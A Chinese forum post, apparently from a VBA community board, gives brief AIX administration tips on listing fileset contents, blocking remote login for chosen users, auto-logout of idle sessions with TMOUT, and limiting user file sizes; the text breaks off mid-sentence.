查看指定文件集包含的文件: #lslpp -f bos.acct //出于AIX系统安全考虑, 需要使某些用户只能控制台登录使用,而不允许远程登陆使用. 更改/etc/security/user 文件需要限制的用户的rlogin属性(rlogin = false) 当再次尝试远程登录时, 系统报错:Remote logins are not allowed for this account, 表示修改成功 //如何自动logout用户 有的用户登录就长时间空闲,有可能导致安全上的问题,通过打开 /etc/profile TMOUT 注释,将设置的时间到达自动logout用户 例如: export TMOUT=120 那么, 用户两分钟没有击键,将自动logout //AIX系统如何限制用户所使用文件的大小(AIX小型机有大文件限制) >#smit chuser 菜单上选择要控制的用户, 并修改下面两项: Soft FILE size [aaa] Hard FILE size [aaa] 则修改用户的文件大小最大为aaa×512 bytes. >如何验证? 可以用该用户登录系统, 使用命令“ulimit -f”“ulimit -Hf”可分别显示其fsize,fsize_hard的大
发帖
VBA
加入

2170

社区成员

VBA(Visual Basic for Applications)是Visual Basic的一种宏语言,是在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。
社区管理员
  • VBA
申请成为版主
帖子事件
创建了帖子
2021-05-18 01:42
社区公告
暂无公告